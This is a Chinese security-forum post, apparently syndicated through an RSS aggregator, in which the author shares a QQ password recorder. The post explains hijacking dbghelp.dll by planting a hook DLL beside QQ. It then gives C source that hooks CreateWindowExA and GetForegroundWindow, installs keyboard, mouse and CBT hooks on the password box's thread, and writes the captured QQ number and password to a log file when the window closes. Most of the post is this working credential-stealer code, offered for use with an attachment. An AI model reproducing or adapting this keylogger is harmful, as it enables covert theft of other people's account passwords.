Quantcast
Channel: 看雪安全论坛
Viewing all articles
Browse latest Browse all 9556

【分享】发一个我用劫持dbghelp.dll做的QQ密码记录

$
0
0
先说一下我是怎么做的,安装监控,其实就是将Hook DLL复制为dbghelp.dll到xx目录下,然后把系统的dbghelp.dll改名_dbghelp.dll复制到xx的目录下,也就是劫持dbghelp.dll
卸载监控,其实就是删除劫持DLL而已
另外只有关闭了QQ主窗口,密码才会记录下来

在Hook DLL里面我Hook了GetForegroundWindow、和CreateWindowExA,Hook CreateWindowExA很简单,因为创建密码框的时候会调用该函数,从xx软件创建登录框整个过程,它只创建一个编辑框,因此判断下它是否是"Edit"类名就行了

附件 79116

附件 79117

貌似好多人测试不成功,我是从百度下的最新QQ,那我发一点代码,不管行不行都不能全发

HOOK GetForegroundWindow方法,直接返回NULL
代码:


HWND WINAPI FakedGetForegroundWindow()
{
        return NULL;
}

HOOK CreateWindowExA的方法,主要是得到主窗口和QQ密码框的句柄,并开始安装局部钩子
代码:


HWND WINAPI FakedCreateWindowExA(
        DWORD dwExStyle,
        LPCSTR lpClassName,
        LPCSTR lpWindowName,
        DWORD dwStyle,
        int X,
        int Y,
        int nWidth,
        int nHeight,
        HWND hWndParent,
        HMENU hMenu,
        HINSTANCE hInstance,
        LPVOID lpParam)
{
        HWND                        hTmpWnd;
        DWORD                        dwTID;

        hTmpWnd = RealCreateWindowExA(
                dwExStyle,
                lpClassName,
                lpWindowName,
                dwStyle,
                X,
                Y,
                nWidth,
                nHeight,
                hWndParent,
                hMenu,
                hInstance,
                lpParam);
        if(hTmpWnd && lpClassName && hWndParent)
        {
                if(lstrcmpi(lpClassName, "Edit") == 0)
                {
                        g_hQQMain = hWndParent;
                        g_hQQPass = hTmpWnd;

                        //获取 QQ密码框 线程ID
                        dwTID = GetWindowThreadProcessId(g_hQQPass,0);

                        //安装只针对 QQ密码框线程 的键盘鼠标钩子
                        g_hKeyboardhook = SetWindowsHookEx(WH_KEYBOARD, Keyboard_HookProc, NULL, dwTID);
                        g_hMousehook = SetWindowsHookEx(WH_MOUSE, Mouse_HookProc, NULL, dwTID);

                        //安装只针对 QQ密码框线程 的CBT钩子
                        g_hCBThook = SetWindowsHookEx(WH_CBT, CBTHookProc, NULL, dwTID);
                }
        }

        return hTmpWnd;
}

CBT 钩子函数,安装此钩子的目的主要是得到主窗口关闭的消息,保存密码,并且卸载自身
代码:

LRESULT CALLBACK CBTHookProc( int code, WPARAM wParam, LPARAM lParam )
{
        HWND                hWnd = (HWND)wParam;

        if(code < 0)
                return CallNextHookEx(g_hCBThook, code, wParam, lParam);

        if(code == HCBT_ACTIVATE)
        {
        }
        else if(code == HCBT_SETFOCUS)
        {
        }
        else if(code == HCBT_DESTROYWND)
        {
                //终极目标已经达到
                if(hWnd == g_hQQMain)
                {
                        //写入到记录文件
                        FILE *fp;
                        fp = fopen(g_szRecordPath, "a+");
                        fprintf(fp, "QQ号:%s, QQ密码:%s\n", g_szNum, g_szPass);
                        fclose(fp);
                       
                        //卸载所有钩子
                        if(g_hMousehook)
                                UnhookWindowsHookEx(g_hMousehook);
                        if(g_hKeyboardhook)
                                UnhookWindowsHookEx(g_hKeyboardhook);
                        if(g_hCBThook)
                                UnhookWindowsHookEx(g_hCBThook);

                        //卸载自身
                        CloseHandle(CreateThread(0, 0, (LPTHREAD_START_ROUTINE)UnloadProc, 0, 0, NULL));
                }
        }

        return CallNextHookEx(g_hCBThook, code, wParam, lParam);
}

本程序仅供娱乐,如有违规,请吧务帮我删除

上传的图像
文件类型: png QQ截图20130520220001.png (5.7 KB)
文件类型: png QQ截图20130520220029.png (7.7 KB)
上传的附件
文件类型: zip Record.zip (61.0 KB)

Viewing all articles
Browse latest Browse all 9556


<script src="https://jsc.adskeeper.com/r/s/rssing.com.1596347.js" async> </script>